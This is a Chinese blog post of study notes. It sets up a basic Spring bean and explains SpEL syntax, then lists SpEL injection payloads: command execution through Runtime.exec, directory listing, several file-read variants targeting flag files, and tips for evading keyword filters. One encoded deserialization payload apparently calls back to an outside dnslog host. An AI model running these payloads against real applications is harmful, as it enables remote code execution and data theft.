赞
踩
首先搭建一个Spring环境。
文章可以看https://blog.csdn.net/cflys/article/details/70598903
一步步跟下去就行。
在src目录添加spring-config.xml
src目录下新建
Hello.java
public class Hello {
private String Name;
public void sayHello(){
System.out.println("Hello "+ Name);
}
public void setName(String name) {
System.out.println("SetName function start");
this.Name=name;
}
}
Main.java
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import java.io.IOException;
public class Main {
public static void main(String[] args) throws IOException {
ApplicationContext context = new ClassPathXmlApplicationContext("spring-config.xml");
//创建Spring的IOC容器
Hello hello = (Hello)context.getBean("Helloclass");
//调用spring-config.xml中ID为Helloclass对应的类
hello.sayHello();
//调用类的sayHello方法
}
}
spring-config.xml
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
//Hello类中name属性。对应的值
成功执行。并且setName方法。在创建IOC容器的时候就执行了。对name属性赋值
下面介绍SPEL
简单来说。就是在value中。用特定的语法实现一些功能。和Python的模板差不多
#{}是SPEL的定界符。{}内。都算SPEL语法
${}用于加载外部属性的值。必须写在${}中。例如#{'${}'}
SPEL也支持
科学计数法
#{1e1111}
类属性
#{Person.name}
类方法
#{Person.HelloWorld()}
函数
#{'Guoke'.toLowerCase()}
异常处理
#{Person.HelloWorld()?.toUpperCase()}
// ?. 确保左边语句不出错。如果出错。就不会调用toUpperCase()
调用包
#{T(java.lang.Math).random()}
直接new对象
#{new java.util.Scanner(new java.io.File('/home/dc2-user/flag/flag.txt')).next()}
说了基本语法。。那就开始利用了。
弹个计算器
#{T(java.lang.Runtime).getRuntime().exec("calc")}
列目录
#{T(java.util.Arrays).toString(T(java.nio.file.Files).list(T(java.nio.file.Paths).get('c:\\')).toArray())}
读文件
#{new java.util.Scanner(new java.io.File("c:\\1.txt")).next()}
#{T(org.apache.commons.io.FileUtils).readFileToString(new java.io.File("c:\\1.txt"))}
#{NEW java.util.Scanner(NEW java.io.BufferedReader(NEW java.io.FileReader(NEW java.io.File('/flag')))).nextLine()}
#{New java.io.BufferedReader(New java.io.FileReader("/flag")).readLine()}
#{T(java.nio.file.Files).lines(T(java.nio.file.Paths).get('c:\\1.txt')).findFirst().toString()}
利用FileUtils这个包。不是自带的
当遇到过滤关键字的时候。可以利用大小写。%00等骚姿势绕过
在SPEL中。关键字不区分大小写。比如new/NEW
也可以通过反序列化。绕过关键字过滤。
#{T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//3QAEHozM3Bzei5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAF2h0dHA6Ly96MzNwc3ouZG5zbG9nLmNueA=='))}
其他bypass的。可以看
https://www.mi1k7ea.com/2020/01/10/SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/
先占个坑。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。